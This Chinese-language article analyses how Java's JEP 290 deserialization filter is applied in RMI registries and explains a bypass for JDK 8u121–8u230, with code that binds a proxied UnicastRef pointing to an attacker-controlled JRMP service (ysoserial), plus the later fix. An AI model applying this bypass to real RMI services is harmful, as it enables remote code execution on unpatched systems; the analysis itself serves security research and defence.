Java安全中JEP290在RMI的实现及绕过低版本JDK限制
字数 1751 2025-08-26 22:12:02
JEP 290在RMI中的实现及绕过分析
1. JEP 290概述
JEP 290是Java提供的一种反序列化过滤器机制,旨在防止恶意反序列化攻击。在RMI(远程方法调用)中,JEP 290通过白名单机制对反序列化的类进行过滤。
2. RMI中的JEP 290实现
2.1 过滤器的创建过程
- 创建Registry时调用
LocateRegistry.createRegistry(1099) - 返回
RegistryImpl对象,其构造方法中:- 如果开启SecurityManager策略会进入特殊处理
- 否则创建
LiveRef对象(传入RegistryImpl的ObjID和端口号) - 创建
UnicastServerRef对象,传入LiveRef和RegistryImpl::registryFilter
2.2 过滤器设置流程
- 调用
RegistryImpl#setup方法设置 - 将
UnicastServerRef对象存入RegistryImpl的ref属性 - 调用
UnicastServerRef#exportObject导出对象 - 封装为
Target对象并调用LiveRef#exportObject导出 - 监听端口并将
Target对象放入ObjectTable - 导出内置方法(bind/rebind/list/lookup)
2.3 过滤器调用时机
- 方法调用时触发
Transport#serviceCall - 从输入流读取ObjID,获取对应Target对象
- 调用
getDispatcher获取disp属性(即UnicastServerRef对象) - 调用
UnicastServerRef#dispatch进行分发 - 调用
oldDispatch方法中的unmarshalCustomCallData - 最终通过
ObjectInputStream#setInternalObjectInputFilter设置过滤器
2.4 过滤器拦截机制
- 在
RegistryImpl_Skel#dispatch方法中进行分发 - 根据方法调用进入不同case语句
- 在反序列化(
readObject)时触发过滤器检查 - 调用链:
registryFilter checkInput filterCheck readProxyDesc readClassDesc readOrdinaryObject readObject0 readObject dispatch
3. 过滤器白名单内容
RMI内置的registryFilter检查以下类是否在白名单中:
- String
- Number
- Remote
- Proxy
- UnicastRef
4. 低版本JDK(8u121-8u230)绕过分析
4.1 绕过原理
- 利用RMI的反序列化传递性
- 通过白名单中的
Remote接口及其实现类RemoteObject RemoteObject的readObject方法会反序列化UnicastRef对象- 控制
UnicastRef指向恶意JRMP服务 - 触发二次连接时无过滤器保护
4.2 关键利用点
-
RemoteObject抽象类的readObject方法:- 从流中读取
UnicastRef对象 - 调用
readExternal方法 - 最终读取并保存
LiveRef对象
- 从流中读取
-
DGCClient.registerRefs机制:- 通过
incomingRefTable注册引用 - 对每个Endpoint发起连接
- 如果控制Endpoint可连接任意服务
- 通过
4.3 利用构造方法
-
构造恶意
UnicastRef:ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 9999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); -
使用
RemoteObjectInvocationHandler封装:RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); -
通过动态代理创建Remote对象:
Remote remote = (Remote) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, handler); -
绑定到Registry:
Registry registry = LocateRegistry.getRegistry("localhost", 1099); registry.rebind("test", remote);
4.4 恶意JRMP服务
可以使用ysoserial等工具搭建恶意JRMP服务,在二次连接时发送恶意序列化数据。
5. 修复方案
在JDK 8u231及以上版本中:
DGCImpl_Stub#dirty方法增加了setObjectInputFilter调用- 对二次连接的反序列化也进行了过滤
- 彻底堵住了通过DGC机制绕过的途径
6. 总结
JEP 290在RMI中的实现是局部过滤机制,低版本JDK中可以通过精心构造的RemoteObject对象触发二次连接来绕过。理解这一机制对于Java反序列化安全研究和防护具有重要意义。